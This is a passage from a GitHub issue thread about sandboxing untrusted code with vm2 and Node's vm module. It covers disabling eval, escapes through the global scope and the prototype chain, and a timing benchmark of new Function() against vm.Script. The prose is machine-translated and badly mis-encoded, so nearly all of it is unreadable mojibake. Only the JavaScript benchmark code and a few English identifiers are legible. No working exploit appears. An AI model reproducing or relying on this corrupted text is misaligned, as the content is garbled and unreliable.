์ด๊ฒ๋ ์๋ํ๋ฉฐ ํจ์ฌ ๋น ๋ฆ ๋๋ค(์ผ๋ถ ํ ์คํธ ์ฌ๋ก์์๋ 1000๋ฐฐ ์ด์ ๋น ๋ฆ). eval์ ๋นํ์ฑํํ๋ ๊ฒ ์ธ์๋ ์ฌ์ฉ์ ์์ญ ์ฝ๋์ 'global'์ ๋ํ ์ฐธ์กฐ๊ฐ ํฌํจ๋์ง ์๋๋ก ๋ฐฉ์งํฉ๋๋ค(์ด ํ ์คํธ ์์ด ํจ์๋ global.whatever๋ฅผ ์ฌ์ฉํ์ฌ ์ ์ญ ๋ฒ์๋ฅผ ์์ ํ ์ ์์). ์ด๊ฒ์ ํจ๊ณผ์ ์ด๊ณ ์์ ํ ์๋๋ฐ์ค์ธ ๊ฒ ๊ฐ์ต๋๋ค. ๋ด๊ฐ ๋ฌด์์ ๋์น๊ณ ์์ต๋๊น?
๋น์ ์ ์ ๋ต์ด ์ฌ๋๋ค์ด fs์ ๊ฐ์ ๋ค์์คํ์ด์ค๋ฅผ ๊ฐ์ ธ์ค๊ณ ์๋ฒ๋ฅผ ๋ํญ ์์ ํ๋ ๊ฒ์ ๋ง์ต๋๊น? ๋๋ ๋ํ eval ๋นํ์ฑํ์ ๋ํด ๊ถ๊ธํฉ๋๋ค. ์ eval์ ๋ํด ๊ฑฑ์ ํ๊ณ eval ์ธ๋ถ์ ์ฝ๋์ ๋ํด์๋ ๊ฑฑ์ ํ์ง ์์ต๋๊น?
@wysisoft : ์ข์ ์ง๋ฌธ์ ๋๋ค. ๋ค, '์๊ตฌ'๋ ๋ ธ์ถ๋์ง ์์ต๋๋ค. ๊ฐ ์คํฌ๋ฆฝํธ๋ ๋ฉํ ๋ฐ์ดํฐ์ ์ผ๋ถ๋ก ํ์ํ "ํ์ฉ ๋ฐ ๊ฒ์ฆ๋" ๋ชจ๋ ๋ชฉ๋ก์ ์ ์ํ๋ฉฐ, ์ด๋ ์คํ๋๊ธฐ ์ ์ ๊ธฐ๋ฅ์ ๊ฐ๋ณ์ ์ผ๋ก ๋ ธ์ถ๋ฉ๋๋ค. ๊ตฌ์ฒด์ ์ผ๋ก ๋งํ๋ฉด 'fs'๋ ์น์ธ๋ ๋ชฉ๋ก์ ์์ ๊ฒ์ ๋๋ค(๊ทธ๋ฌ๋ ์์ ์ ์ฅ์ด ํ์ํ ์คํฌ๋ฆฝํธ์ ๊ฒฝ์ฐ ์ ํ๋ ์ฝ๊ธฐ/์ฐ๊ธฐ ๊ธฐ๋ฅ ์ธํธ๊ฐ ์ ๊ณต๋จ).
'eval'์ ๋นํ์ฑํํ๋ ๊ฒ์ ์ฌ๋ฌ ์ต์คํ๋ก์์ ์ค์งํ๋ ๋ฐ ์ค์ํฉ๋๋ค( 18NOV16 ์ @parasyte์ ์ฃผ์ ์ฐธ์กฐ). 'eval'์ ํ์ฉํ๋ฉด ๋ค๋ฅธ ๋ฐฉ๋ฒ์ผ๋ก๋ ๋ฐฉ์งํ ์ ์๋ ๋ฐฉ์์ผ๋ก ์ ์ญ ๋ฒ์์ ์ก์ธ์คํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ 10 ์ 17์ผ @parasyte์ ๋๊ธ์์ ํ์ธ).
@Eric24 vm
๋ํด "๋๋ฆผ"์ด ๋ฌด์์ธ์ง ์ดํดํ์ง ๋ชปํฉ๋๋ค. nodeJS๋ฅผ ๊ตฌ๋ํ๋ ๊ฒ๊ณผ ๋๊ฐ์ v8 ๋ฐํ์์
๋๋ค. ์ฝ๋๋ฅผ ์คํํ ๋๋ง๋ค ์๋๋ฐ์ค๋ฅผ ๋ค์ ๋ง๋๋ ๊ฒ๊ณผ ๊ฐ์ ์ด๋ฆฌ์์ ์ผ์ ํ๊ณ ์์ง ์๋ค๊ณ ํ์ ํ์ญ๋๊น? ์ฝ๊ฐ์ ์ค๋ฒํค๋๊ฐ ์์ง๋ง 1000๋ฐฐ ๋ ๋ง์ ์ค๋ฒํค๋๋ ์๋๋๋ค .
@wysisoft eval()
๋ ์ฝ๊ฒ ์ ๊ทผํ ์ ์๋ ์๋๋ฐ์ค ํ์ถ ๋ฐฉ๋ฒ์
๋๋ค. ๋นํ์ฑํ ํ๋ฉด ๊ฐ์ธ ์ปจํ
์คํธ ๋ด์์ ์ฝ๋ ๋ฅผ
@parasyte - ๊ฐ๊ฐ์ ๋ํด ๊ฐ๋ฅํ ํ ๋์ผํ ์ฝ๋์ ๊ฐ๊น์ด Function() ๋ฐ VM์ ๋ง๋ค๊ณ ๋ ๋ค 1000๋ฒ ์คํํ๊ณ ํ์ํ ์ด ์๊ฐ์ ๋ณด๊ณ ํ๋ ๋งค์ฐ ๊ฐ๋จํ ํ ์คํธ๊ฐ ์์ต๋๋ค. ์๋ ์ฝ๋:
"use strict";
const util = require('util');
const vm = require('vm');
const uuid = require("uuid/v4");
console.log('TEST=' + global.test);
let response = {result: 0, body: null};
// create the Function()
let hrstart = process.hrtime();
const xform = new Function('y', 'response', 'uuid',
'"use strict"; return ' + '(() => {global.test = "FUNC"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};})();'
);
let hrend = process.hrtime(hrstart);
console.log('new Function: ', hrend[0], hrend[1]/1000000, '\n');
// create/compile the Script()
hrstart = process.hrtime();
const script = new vm.Script(
'"use strict"; ((global) => {' + 'global.test = "VM"; let z = y * 2; response.result = 99; response.body = "TEST"; function doubleZ(n) {return n * 2}; return {x: 123, y: y, z: doubleZ(z), u:uuid()};' + '})(this);'
);
hrend = process.hrtime(hrstart);
console.log('new vm.Script: ', hrend[0], hrend[1]/1000000);
// create the VM context
hrstart = process.hrtime();
let ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
let context = new vm.createContext(ctx);
hrend = process.hrtime(hrstart);
console.log('new vm.createContext: ', hrend[0], hrend[1]/1000000, '\n');
// test 1000 iterations of Function()
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
// test 1000 iterations of VM (with optional new context on each)
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
//ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid}; // << THIS IS THE PROBLEM!
//context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
ํ ์คํธ์์ ๋ณผ ์ ์๋ฏ์ด ์คํฌ๋ฆฝํธ์ ์ปจํ ์คํธ๋ฅผ ํ ๋ฒ ๋ง๋ ๋ค์ 1000๋ฒ ์คํํฉ๋๋ค. ๊ทธ๋ฌ๋ ์ค์ ๋์ ์ฌ์ฉ ์ฌ๋ก์์๋ ๊ฐ ์คํ์ด ๊ณ ์ ํ๊ณ ์๋ก์ด ์ปจํ ์คํธ๋ก ์์ํด์ผ ํ๊ธฐ ๋๋ฌธ์ ๋งค๋ฒ ์ปจํ ์คํธ๋ฅผ ๋ค์ ์์ฑํด์ผ ํฉ๋๋ค(์ปดํ์ผ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์บ์ํ ์ ์์). ๋งค๋ฒ ์ปจํ ์คํธ๋ฅผ ๋ค์ ์์ฑํ์ง ์์๋ Function()๊ณผ VM์ ์ฐจ์ด๋ 6~14๋ฐฐ์ ๋๋ค.
๊ทธ๋ฌ๋ ์์ธํ ์ดํด๋ณธ ํ ์ค์ ์ฌ์ฉ ์ฌ๋ก์ ๋ ๊ฐ๊น์ด ์ฝ๋ ๋ณํ(๋ฃจํ ๋ด์์ ๋งค๋ฒ ์ปจํ ์คํธ ์์ฑ)์ ์๋ํ์ต๋๋ค. ๋๋ ์๋ 1ms ๋ฏธ๋ง์ผ๋ก ์ปจํ ์คํธ์ ์ผํ์ฑ ์์ฑ ์๊ฐ์ ์ ํ๊ธฐ ๋๋ฌธ์ ๋ฐ๋ณต๋น ๊ธฐ์ค์ผ๋ก ํฌํจํ๊ณ ์์์ต๋๋ค. ๊ทธ๋ฌ๋ ์ค์ ์ฝ๋๋ฅผ ์คํํ๋ฉด ์ค์ ๋ฒ์ธ์ด ๋ํ๋ฌ์ต๋๋ค. VM์ ์ฌ์ ํ โโ๋๋ฆฌ์ง๋ง ๋ฌธ์ ๋ ์ปจํ ์คํธ๋ฅผ ๋ง๋๋ ๊ฒ์ด ์๋๋ผ 'ctx' ๊ฐ์ฒด๋ฅผ ๋ง๋๋ ๊ฒ์ ๋๋ค. ์ ๋ง ๋๋ผ์ด ์ผ์ ๋๋ค.
๊ทธ๋ฌ๋ VM ์ปจํ ์คํธ์ ๋ํ ์ ๊ฐ์ฒด๋ฅผ ์์ฑํ๋ ๊ฒ์ ๋งค๋ฒ ํ์ํฉ๋๋ค(Function()์๋ ์ฝ๊ฐ์ ๋ณํ์ด ํ์ํ๋ฏ๋ก ๋ ์ฌ์ด์ ์ฐจ์ด๋ 6~14๋ฐฐ(์ฌ์ ํ ์ค์ํจ)๋ก ๋์๊ฐ๋๋ค. .
ํ . ๋ฐฉ๊ธ ๋ค๋ฅธ ํ ์คํธ๋ฅผ ์๋ํ์ต๋๋ค.
let out = {};
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
out = xform(456, response, uuid);
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('Function (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(response) + '\n');
hrstart = process.hrtime();
for (let i = 0; i < 1000; i++) {
ctx = {y: 456, response: {result: 0, body: null}, uuid: uuid};
// let context = new vm.createContext(ctx);
out = script.runInContext(context, {timeout: 100});
}
hrend = process.hrtime(hrstart);
console.log('TEST=' + global.test);
console.log('vm (x1000): ', hrend[0], hrend[1]/1000000);
console.log(util.inspect(out) + '\n' + util.inspect(ctx) + '\n');
์ฌ๊ธฐ์ 'ctx' ๊ฐ์ฒด๋ ๋ ํ ์คํธ์์ ๋งค๋ฒ ๋ค์ ์์ฑ๋์ง๋ง ์ปจํ ์คํธ๋ ํ ๋ฒ๋ง ์์ฑ๋ฉ๋๋ค. ์์ฐจ๋ 6-14 ๋ฒ์๋ก ๋์๊ฐ๋๋ค. ๊ทธ๋ฌ๋ ๋งค๋ฒ ์ปจํ ์คํธ๋ฅผ ๋ค์ ์์ฑํ๋ ์ค์ ์ฃผ์์ ์ ๊ฑฐํ๋ฉด ์ต๋ 144๋ฐฐ ๋๋ ค์ง๋๋ค!
@Eric24 ์ด์ ๊ฒ์๋ฌผ์์ ๋งํ ๋๋ก ํ๊ณ ์์ต๋๋ค. ๐ script.runInContext()
๊ฐ ๋ฌธ์ ์
๋๋ค. ์ด๊ฒ์ eval()
๋ฅผ ํธ์ถํ๋ ๊ฒ๊ณผ ์ฌ์ค์ ๋์ผํฉ๋๋ค(๋ค๋ฅธ v8 ์ปจํ
์คํธ ์ฌ์ฉ).
์ฑ๋ฅ ๋ฌธ์ ๋ฅผ ํด๊ฒฐํ๋ ์๋ฃจ์
์ runInContext
ํ ๋ฒ ํธ์ถํ์ฌ ์ฝ๋๋ฅผ ์ปดํ์ผํ๊ณ ๋ฐํ๋๋ ์ฐธ์กฐ ๋๋ ์
๋ ฅ ์ธ์๋ก ์ ๊ณตํ ์ฐธ์กฐ๋ฅผ ํตํด ์ปดํ์ผ๋ ์ฝ๋์ ์ํธ ์์ฉํ๋ ๊ฒ์
๋๋ค. ์๋ฅผ ๋ค์ด ์๋๋ฐ์ค์์ ์๋ฐฉํฅ ํต์ ์ ์ํด ๋ช ๊ฐ์ new Event()
๊ฐ์ฒด๋ฅผ ์ ๋ฌํฉ๋๋ค. ์ด๊ฒ์ด ์ฐ๋ฆฌ์ [์ฌ์ ํ ๋ด๋ถ ์๋๋ฐ์ค, ์ ์น์ ์ธ ์ด์ ๋ก ์คํ ์์ค๋์ง ์์] vm
๋ํผ๊ฐ ํ๋ ์ผ์ด๋ฉฐ ์ค๋ฒํค๋๋ ์์ ํ ๋ฌด์ํ ์ ์์ต๋๋ค.
@parasyte : ํ . ๊ทธ๋ฌ๋ new vm.Script()๊ฐ ์ฝ๋๋ฅผ ์ปดํ์ผํ์ง ์์ต๋๊น? ์ด์จ๋ ๋๋ ๋น์ ์ด ๋งํ๋ ๊ฒ์ ์ํํ๊ธฐ ์ํด ์บ์ฑํด์ผ ํ๋ ๊ฒ์ runInContext์ ๋ํ ์ฐธ์กฐ์ด๋ฏ๋ก ์คํฌ๋ฆฝํธ๊ฐ ์ฒ์ ํธ์ถ๋ ๋๋ง ์ค๋ฒํค๋๋ฅผ ๊ฒช์ ๊ฒ์ด๋ผ๊ณ ์๊ฐํฉ๋๋ค. ํ์คํ ๊ณ ๋ คํ ๊ฐ์น๊ฐ ์์ต๋๋ค.
์๋์. runInContext
๋ ์ฝ๋๋ฅผ ์ปดํ์ผํฉ๋๋ค. ๊ทธ๊ฒ์ ๋ํด ์๊ฐํด๋ณด์ญ์์ค. v8์ Just-In-Time ์ปดํ์ผ๋ฌ์
๋๋ค. ์ปดํ์ผํ๋ ค๋ฉด ์ฝ๋๋ฅผ ์คํํด์ผ ํฉ๋๋ค.
@parasyte : ์ข์์, ํ์ง๋ง node.js ๋ฌธ์์์:
_vm.Script ํด๋์ค์ ์ธ์คํด์ค์๋ ํน์ ์๋๋ฐ์ค(๋๋ "์ปจํ
์คํธ")์์ ์คํํ ์ ์๋ ๋ฏธ๋ฆฌ ์ปดํ์ผ๋ ์คํฌ๋ฆฝํธ๊ฐ ํฌํจ๋์ด ์์ต๋๋ค._
@Eric24 ๋ฌธ์๊ฐ Script
๊ฐ์ฒด๊ฐ ์ธ์คํด์คํ๋ ํ์ ์ธํฐํ๋ฆฌํฐ๋ฅผ ํตํด ์คํํ ์ ์์ง๋ง v8์์ ์ป๋ ์ฑ๋ฅ ์ด๋์ ๋๋ถ๋ถ์ ์ด ํด์๋ ์ค๊ฐ ํํ์ ๊ธฐ๋ณธ ๊ธฐ๊ณ ์ฝ๋๋ก ์ปดํ์ผํ๋ ๋ฐ์ ๋น๋กฏ๋ฉ๋๋ค. ํ์์ ๋จ๊ณ๋ runInContext
๊ฐ ํธ์ถ๋ ๋๊น์ง ์์ ๋์ง ์์ต๋๋ค.
์ค์ ๋ก JIT ์ปดํ์ผ๋ฌ ์๋ช ์ฃผ๊ธฐ๋ JIT๊ฐ ์ต์ ํ๋ฅผ ๊ณ ๋ คํ๊ธฐ ์ ์ ์ฝ๋๋ฅผ ์๋ฐ์ ํด์ผ ํ๊ธฐ ๋๋ฌธ์ ๊ทธ๋ณด๋ค ๋ ๋ณต์กํฉ๋๋ค. ์์ธํ ๋ด์ฉ์ ๊ด์ฌ์ด ์๋ค๋ฉด ์ธํฐ๋ท์ ์ฝ์ ์ ์๋ ์๋ฃ ๊ฐ ๋ง์ด ์์ต๋๋ค.
๊ทธ๋ฌ๋ ๋ช ๊ฐ์ง ํ๋ ๋ฐ์ดํฐ๋ฅผ ์ ๊ณตํ๊ธฐ ์ํด ๋ค์์ runInContext
๋ํ ๊ด๋ จ ์์ค ์ฝ๋์
๋๋ค. https://github.com/nodejs/node/blob/v8.7.0/lib/vm.js#L54 -L61
realRunInContext
์ฐธ์กฐ๋ C++ contextify
๋ชจ๋์์ ๊ฐ์ ธ์ต๋๋ค. ์ฌ๊ธฐ์์ ์ฐพ์ ์ ์์ต๋๋ค: https://github.com/nodejs/node/blob/v8.7.0/src/node_contextify.cc#L660 -L719
์ด C++ ์ฝ๋์ ๊ฐ์ฅ ์ค์ํ ๋ถ๋ถ์ ํ๋ฆผ์์ด EvalMachine
๋ํ ํธ์ถ์
๋๋ค. ์ด ํธ์ถ์ ์ปดํ์ผ๋ ์ฝ๋ ๋ฅผ ํ์ฌ ์ปจํ
์คํธ์ ๋ฐ์ธ๋ฉํ๊ณ script->Run()
๋ฅผ ํธ์ถํ์ฌ JIT ์ปดํ์ผ๋ฌ๋ฅผ ์์ํฉ๋๋ค. ๋ฌผ๋ก ์ต์ ํํ ์ฝ๋๋ฅผ ์ฐพ๊ธฐ ์์ํ๋ ๊ฒ์
๋๋ค.
๋์์ด ๋๊ธฐ๋ฅผ ๋ฐ๋๋๋ค!
@parasyte : ๋ค, ๋์์ด ๋ฉ๋๋ค. ๊ฐ์ฌ ํด์!
์ฐ๋ฆฌ๋ vm2 ์๋๋ฐ์ค๋ฅผ ์ฌ์ฉํ์ฌ ํ๋์ ๊ตฌํ์ผ๋ก ์ด๋ ค์์ ๊ฒช๊ณ ์์ต๋๋ค. vm2 ์๋๋ฐ์ค ๋ด์์ ๋น๋๊ธฐ ์ฝ๋๋ฅผ ํธ์ถํ ์ ์์ต๋๊น? ๊ทธ ์ด์ ๋ vm2์ ์๋๋ฐ์ค์์ MySQL๊ณผ ๊ฐ์ ๋ฐ์ดํฐ ์์ค์ ์ฐ๊ฒฐํด์ผ ํ๊ธฐ ๋๋ฌธ์ ๋๋ค.
์, ์๋๋ฐ์ค ๋ด์์ ๋น๋๊ธฐ๋ฅผ ๊ธฐ๋ค๋ฆด ์ ์์ต๋๋ค. ์ด๋ค ๋ฌธ์ ๊ฐ ์์ต๋๊น?
์ ๋ขฐํ ์ ์๋ ์ฝ๋๋ฅผ ์คํ ์ค์ธ ๊ฒฝ์ฐ
์๋๋ฐ์ค์ ๋ํ ์ ์ฒด SQL ์ก์ธ์ค ๊ถํ์ ๋ถ์ฌํฉ๋๋ค. ๋์ ๋ค์์ ์ถ๊ฐํ๊ณ ์ถ์ ๊ฒ์
๋๋ค.
์๋๋ฐ์ค์ ๋ํ getdata() ๋ฉ์๋๋ ์๋๋ฐ์ค ์ธ๋ถ์์ ์ฝ๋๋ฅผ ์คํํฉ๋๋ค.
์ค์ SQL ์ฐ๊ฒฐ์ด ๋ฐ์ํฉ๋๋ค.
2017๋
10์ 24์ผ ํ์์ผ ์ค์ 6:49 Rajagopal Somasundaram <
[email protected]>์ ๋ค์๊ณผ ๊ฐ์ด ์ผ์ต๋๋ค.
์ฐ๋ฆฌ๋ vm2 ์๋๋ฐ์ค๋ฅผ ์ฌ์ฉํ์ฌ ํ๋์ ๊ตฌํ์ผ๋ก ์ด๋ ค์์ ๊ฒช๊ณ ์์ต๋๋ค. ์ ํํด๋ ๋ ๊น์?
vm2 ์๋๋ฐ์ค ๋ด๋ถ์ ๋น๋๊ธฐ ์ฝ๋? ๊ทธ ์ด์ ๋
vm2์ ์๋๋ฐ์ค์์ MySQL๊ณผ ๊ฐ์ ๋ฐ์ดํฐ ์์ค?โ
๋น์ ์ด ์ธ๊ธ๋์๊ธฐ ๋๋ฌธ์ ์ด๊ฒ์ ๋ฐ๋ ๊ฒ์ ๋๋ค.
์ด ์ด๋ฉ์ผ์ ์ง์ ๋ต์ฅํ๊ณ GitHub์์ ํ์ธ
https://github.com/patriksimek/vm2/issues/32#issuecomment-338978717 ๋๋ ์์๊ฑฐ
์ค๋ ๋
https://github.com/notifications/unsubscribe-auth/AOeY7Kir6Mm_k_P2ZhR3tdQzZQPknTNZks5svdz0gaJpZM4I22m8
.
@wysisoft ๋ต๋ณ ๊ฐ์ฌํฉ๋๋ค . https://github.com/patriksimek/vm2/issues/102 ์ธ๋ถ์ฌํญ์ผ๋ก ๋ณ๋๋ก ๋ฌธ์ ๋ฅผ ์ ๊ธฐํ์ต๋๋ค
@Eric24 '์๋ก์ด ๊ธฐ๋ฅ()' ๋์์ ๊ณต์ ํ์๊ฒ ์ต๋๊น? VM๋ณด๋ค ๊น๋ํด ๋ณด์ ๋๋ค.
@platinumindustries : ๊ฒฐ๊ตญ ์ ๋ "new Function()" ๋์์ ์ถ์ฒํ์ง ์์ต๋๋ค. ์ฐ๋ฆฌ๋ ๊ฒฐ๊ตญ VM ์ ๊ทผ ๋ฐฉ์์ ์ ์งํ๊ณ ๋์ ํด๋น ์ฝ๋๋ฅผ ์ต์ ํํ๋ ๋ฐ ์ง์คํ์ต๋๋ค. ์ฐ๋ฆฌ๊ฐ ์ง๊ธ ๊ฐ์ง๊ณ ์๋ ๊ฒ์ ์์ฃผ ์ ์๋ํฉ๋๋ค. ์์งํ ๋ฌด์์ด ์ฐ๋ฆฌ๋ฅผ ๊ทธ ๋ฐฉํฅ์ผ๋ก ์ด๋์๋์ง ์ ํํ ๊ธฐ์ตํ ์ ์์ง๋ง ๊ถ๊ทน์ ์ผ๋ก ๋ชฉ๋ก์์ "new Function()" ์ ๊ทผ ๋ฐฉ์์ ๋์ด์๋ ๋ช ๊ฐ์ง ์์ ๊ฒ๋ค์ด ์๋ค๋ ๊ฒ์ ์๊ณ ์์ต๋๋ค.
@Eric24 ๊ทธ๋ผ ์ข์ต๋๋ค. ๋ํ NodeJS 10.9*์ ์ ๋ฒ์ ์๋ vm์์ eval()์ ๋นํ์ฑํํ๋ ์ต์ ์ด ์์ต๋๋ค. ์ถฉ๋ถํฉ๋๊น ์๋๋ฉด ์ฌ์ ํ C์์ ๋นํ์ฑํํด์ผํฉ๋๊น?
์ค๋๋ ์ค๋ ๋์ ๋ฐ์ด๋ค์ด์ ์ ๋ง ์ฃ์กํฉ๋๋ค.
๊ทธ๋ฌ๋ ์ค์ ๋์ ์ฌ์ฉ ์ฌ๋ก์์๋ ๊ฐ ์คํ์ด ๊ณ ์ ํ๊ณ ์๋ก์ด ์ปจํ ์คํธ๋ก ์์ํด์ผ ํ๊ธฐ ๋๋ฌธ์ ๋งค๋ฒ ์ปจํ ์คํธ๋ฅผ ๋ค์ ์์ฑํด์ผ ํฉ๋๋ค(์ปดํ์ผ๋ ์คํฌ๋ฆฝํธ๋ฅผ ์บ์ํ ์ ์์).
@Eric24 ์๋ฒ ์์ฉ ํ๋ก๊ทธ๋จ ๋ด์์ vm2
์ฌ์ฉํ์ฌ ์์์ ์ฝ๋๋ฅผ ์ ์ฌ์ ์ผ๋ก ์คํํ ์ ์๋ ๋ฐฉ๋ฒ์ ์ฐพ๊ณ ์์ต๋๋ค. ๋ค์ด์ค๋ ์์ฒญ์ ๋งค๊ฐ ๋ณ์/์ธ์๋ฅผ VM ๋ด๋ถ์์ ์คํ๋๋ ์ฝ๋๋ก ์ ๋ฌํ๋ ๋ฐฉ๋ฒ์ ๋ณด๊ณ ์๊ธฐ ๋๋ฌธ์ ์ ์ฌ์ฉ ์ฌ๋ก๊ฐ ์ธ๊ธํ ๊ฒ๊ณผ ์ ์ฌํ๋ค๊ณ ์๊ฐํฉ๋๋ค.
์ง๊ธ ๋ด๊ฐ ๋ณผ ์ ์๋ ์ ์ผํ ๋ฐฉ๋ฒ์ ๋งค๋ฒ ์๋ก์ด ์ปจํ
์คํธ๋ฅผ ์์ฑํ๋ ๊ฒ์ด์ง๋ง ์ด๊ฒ์ ์ ๋ง ๋๋ฆฝ๋๋ค. ํ๋์ ์ปจํ
์คํธ ๊ฐ์ฒด๋ฅผ ์ฌ์ฌ์ฉํ ์ ์์ง๋ง ๋ค๋ฅธ ๋ฉ์ปค๋์ฆ์ ์ฌ์ฉํ์ฌ VM ๋ด๋ถ์์ ์คํ๋๋ ์ฝ๋์ ๋ฐ์ดํฐ๋ฅผ ์ ๊ณตํ ์ ์๋์ง ์์๋ด๋ ค๊ณ ํฉ๋๋ค. @parasyte๋ Event()
๊ฐ์ฒด๋ฅผ ์ฌ์ฉํ ์๋ฐฉํฅ ํต์ ์ ๋ํด ์ธ๊ธํ์ง๋ง ์์ ํ ๋ช
ํํ์ง ์์์ต๋๋ค.
๋น์ทํ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ค๋ฉด ์ด๋ป๊ฒ ํด๊ฒฐํ๋์ง ํ์ ๊ณต์ ํด ์ฃผ์๊ฒ ์ต๋๊น? ์๊ฐ ๋ด ์ค์ ๊ณ ๋ง์.
@darahayes : ์ฌ์ค, ๋งค๋ฒ ์คํํ ๋๋ง๋ค ์๋ก์ด ์ปจํ ์คํธ๋ฅผ ์์ฑํ๊ณ ์์ง๋ง,
๊ฐ ์คํ์ ๋ํด ์๋ก์ด nodejs ํ๋ก์ธ์ค๋ฅผ ์คํํ๊ณ ์์ผ๋ฉฐ ์ง์ฐ ์๊ฐ์ด 100ms ๋ฏธ๋ง์ผ๋ก ๋์์ง ์์ต๋๋ค.
๊ฐ์ฅ ์ ์ฉํ ๋๊ธ
์์! ๋น์ ์ ๋ถ์ก๊ณ ์์ด! ;) ์ด๋ฐ ์์ผ๋ก ์ธ๋ํ ๊ฒ์ ๋ํด ์ฌ๊ณผํด์ผ ํฉ๋๋ค. ๋ชจ๋ ์ฒญ์ค์ ์ํด; node.js์ VM ๋ฒ์ ๋ฌธ์ ๋ ํธ์คํธ ๋ฒ์์ ๊ฐ์ฒด์ ๋ํ ์ฐธ์กฐ์ ์์ต๋๋ค(ํ๋กํ ํ์ ์ฒด์ธ์ ํตํด ๋ชจ๋ ํธ์คํธ ๋ฒ์์ ๋ํ ์ฐธ์กฐ๋ฅผ ์ป์ ์ ์์).
constructor
์์ฑ์ ์ฌ์ ์ํ์ผ๋ฏ๋ก ์ด์ ๊ทธ ์๋๋ก ์ด๋ํด์ผ ํฉ๋๋ค.